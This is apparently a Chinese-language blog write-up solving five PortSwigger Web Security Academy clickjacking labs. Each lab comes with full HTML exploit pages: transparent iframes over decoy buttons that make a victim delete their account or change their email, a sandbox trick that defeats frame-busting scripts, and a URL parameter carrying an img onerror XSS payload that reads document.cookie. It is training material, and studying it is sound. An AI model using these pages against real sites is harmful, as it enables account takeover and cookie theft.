Portswigger web security academy:Clickjacking (UI redressing)
Portswigger web security academy:Clickjacking (UI redressing)
1 - Basic clickjacking with CSRF token protection
题目描述
- 登陆后可以删除账号,但是该功能点有csrf token保护
要求
- 让受害者删掉自己的账号
解题过程
因为要调CSS,就先用一下材料里给的代码看看(具体参数有问题,自己调整调整,显示没过,然后修改的时候提示solved。。。原本的参数没记下来)
<head>
<style>
#target_website {
position: relative;
width: 1280px;
height: 400px;
opacity: 0.0000000000001;
z-index: 2;
}
#decoy_website {
position:absolute;
top:575px;
left:100px;
z-index:1;
}
</style>
</head>
...
<body>
<div id="decoy_website">
click
</div>
<iframe id="target_website" src="https://ac411f1c1e3720d880aa0ddc00c8008d.web-security-academy.net/my-account">
</iframe>
</body>
2 - Clickjacking with form input data prefilled from a URL parameter
题目描述
- 没啥描述的
要求
- 利用预填充来修改用户邮箱
解题过程
访问
/my-account?email=asd@asd.asd,发现邮箱被预填充进页面构造恶意页面,钓鱼(借助上一题的代码)
<head>
<style>
#target_website {
position: relative;
width: 400px;
height: 600px;
opacity: 0.0000001;
z-index: 2;
}
#decoy_website {
position:absolute;
top:525px;
left:100px;
z-index:1;
}
</style>
</head>
<body>
<div id="decoy_website">
Click me
</div>
<iframe id="target_website" src="https://ac131f121fdf9d78802b4cc1006300fb.web-security-academy.net/my-account?email=asd@asd.asd">
</iframe>
</body>
3 - Clickjacking with a frame buster script
题目描述
- 这个lab被frame buster保护着
要求
- 修改受害者邮箱
解题过程
材料里有说frame buster,大致意思就是只接受自己是最顶层网页(根节点),关于这个东西google上挺多的,[贴一个])(https://zhuanlan.zhihu.com/p/27310909)
但是
iframe指定sandbox为allow-forms或者allow-scripts,且忽略allow-top-navigation会使iframe中的网页不知道自己是否是最顶层网页构造exp
<head>
<style>
#target_website {
position: relative;
width: 400px;
height: 600px;
opacity: 0.0000001;
z-index: 2;
}
#decoy_website {
position:absolute;
top:505px;
left:100px;
z-index:1;
}
</style>
</head>
<body>
<div id="decoy_website">
Click me
</div>
<iframe id="target_website" sandbox="allow-forms" src="https://ac741fe61e32394280fe03af00970035.web-security-academy.net/my-account?email=asd@asd.asd">
</iframe>
</body>
4 - Exploiting clickjacking vulnerability to trigger DOM-based XSS
题目描述
- 把Dom based XSS和Clickjacking结合起来
要求
alert(document.cookie)
解题过程
首先找XSS,发现在feedback页面可以使用GET预填充参数,提交后,会把name直接打印出来
构造exp
<head>
<style>
#target_website {
position: relative;
width: 1000px;
height: 1000px;
opacity: 0.00000001;
z-index: 2;
}
#decoy_website {
position:absolute;
top:805px;
left:100px;
z-index:1;
}
</style>
</head>
<body>
<div id="decoy_website">
Click me
</div>
<iframe id="target_website" src="https://ac2c1f701efa1dee807e67af00d40001.web-security-academy.net/feedback?name=%3Cimg/src=x%20onerror=alert(document.cookie)%3E&email=asd@asd.com&subject=asd&message=asd">
</iframe>
</body>
5 - Multistep clickjacking
题目描述
- 这个lab的账号相关的功能点被csrf token保护着,并且有一个确认对话框来防止点击劫持
要求
- 让受害者删除自己的账号
解题过程
多了个对话框。。。相比实际场景,不需要动态显示就很简单了
上exp
<head>
<style>
#target_website {
position: relative;
width: 1000px;
height: 1000px;
opacity: 0.0000001;
z-index: 2;
}
#decoy_website_1 {
position:absolute;
top:495px;
left:60px;
z-index:1;
}
#decoy_website_2 {
position:absolute;
top:285px;
left:190px;
z-index:1;
}
</style>
</head>
<body>
<div id="decoy_website_1">
Click me first
</div>
<div id="decoy_website_2">
Click me next
</div>
<iframe id="target_website" src="https://ac871f9f1e4e40b7801a875000290076.web-security-academy.net/my-account">
</iframe>
</body>
Portswigger web security academy:Clickjacking (UI redressing)的更多相关文章
- Portswigger web security academy:WebSockets
Portswigger web security academy:WebSockets 目录 Portswigger web security academy:WebSockets Lab: Mani ...
- Portswigger web security academy:Cross-origin resource sharing (CORS)
Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...
- Portswigger web security academy:XML external entity (XXE) injection
Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...
- Portswigger web security academy:Cross-site request forgery (CSRF)
Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...
- Portswigger web security academy:OAth authentication vulnerable
Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...
- Portswigger web security academy:Server-side request forgery (SSRF)
Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...
- Portswigger web security academy:OS command injection
Portswigger web security academy:OS command injection 目录 Portswigger web security academy:OS command ...
- Portswigger web security academy:SQL injection
Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...
- Portswigger web security academy:Server-side template injection(SSTI)
Portswigger web security academy:Server-side template injection(SSTI) 目录 Portswigger web security ac ...
随机推荐
- Spring Boot 轻量替代框架 Solon 的架构笔记 - new
Solon 是一个微型的Java开发框架.项目从2018年启动以来,参考过大量前人作品:历时两年,4000多次的commit:内核保持0.1m的身材,超高的跑分,良好的使用体验.支持:RPC.REST ...
- kubernetes生产实践之mysql
简介 kubedb mysql 生命周期及特性 Supported MySQL Features Features Availability Clustering ✓ Persistent Volum ...
- 04-Spring自定义标签解析
自定义标签的解析 这一篇主要说明自定义标签的解析流程,除了 bean.alias.import.beans之外的标签,都属于自定义标签的范围,自定义标签的解析需要命名空间配合, 获取对应的命名空间 根 ...
- 2017算法期末复习练习赛-G Beihang Couple Pairing Comunity 2017 题解(网络流)
理解不够透彻.好题不可浪费,写题解以增进理解.会陆续补充题目.(咕咕咕) G Beihang Couple Pairing Comunity 2017 题目链接 Beihang Couple Pair ...
- Python基础学习【day2】
运算符 运算符有哪些? 加 + 减 - 乘 * 除 / 幂 ** 取余 % ...
- Bits.java
package java.io; /** * Utility methods for packing/unpacking primitive values in/out of byte arrays ...
- 一个操作 cookie 的原生方法 cookieStore
我们平时对 cookie 的增删改查等操作,都是在操作 document.cookie,这里我们介绍一个新方法cookieStore. 1. 平时如何操作 cookie document.cookie ...
- (数据科学学习手札114)Python+Dash快速web应用开发——上传下载篇
本文示例代码已上传至我的Github仓库https://github.com/CNFeffery/DataScienceStudyNotes 1 简介 这是我的系列教程Python+Dash快速web ...
- (十四--十五)数据库查询优化Part I
(十四--十五)数据库查询优化Part I 如果理解的有问题.欢迎大家指出.这也是我在看课记得笔记..可能会有很多问题 查询优化的重要性 请记住用户只会告诉DMBS他们想要什么样的结果,而不会告诉他们 ...
- vue-router 监控全局路由,在路由中改变vuex中的状态值